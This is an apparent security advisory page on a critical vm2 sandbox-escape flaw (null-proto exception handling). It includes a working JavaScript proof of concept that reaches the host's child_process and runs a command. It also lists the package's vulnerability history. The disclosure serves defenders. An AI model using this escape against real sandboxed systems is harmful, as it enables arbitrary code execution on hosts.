Critical

vm2 has Sandbox Breakout Through Null Proto Exception

  • Disclosed: 08.05.2026
  • Updated: 11.10.2026 10:22

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.

PoC

js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
	throw o;
} catch (e) {
	e.f = Buffer.prototype.inspect
	o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package vm2 < 3.11.2 3.11.2

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-668
Platform
npm
Package
vm2
Disclosed
08.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9vg3-4rfj-wgcm - CC BY 4.0

Vulnerability history: vm2

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (78) in the archive
Total entries
78
First → latest
10.2021 10.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 51
  • High 14
  • Medium 12
  • Low 1

Disclosures per year

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Severity:
  1. Critical · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Critical · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Critical · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Critical · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Critical · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Critical · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Critical · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Critical · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Critical · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Critical · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Critical · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Critical · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. High · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Critical · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Critical · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  16. Critical · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  17. Critical · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  18. Critical · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  19. vm2 has Sandbox Breakout Through Null Proto Exception this entry
    Critical · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  20. Critical · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  21. Critical · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  22. Critical · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  23. Critical · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  24. Critical · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  25. Critical · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  26. Critical · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  27. Critical · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  28. Critical · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  29. Critical · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  30. Critical · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  31. Critical · 9.8 CVE-2023-37903 <= 3.9.19 no fix
  32. Critical · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  33. Critical · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  34. Critical · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  35. Critical · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Show more (5) Showing 60 of 65

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.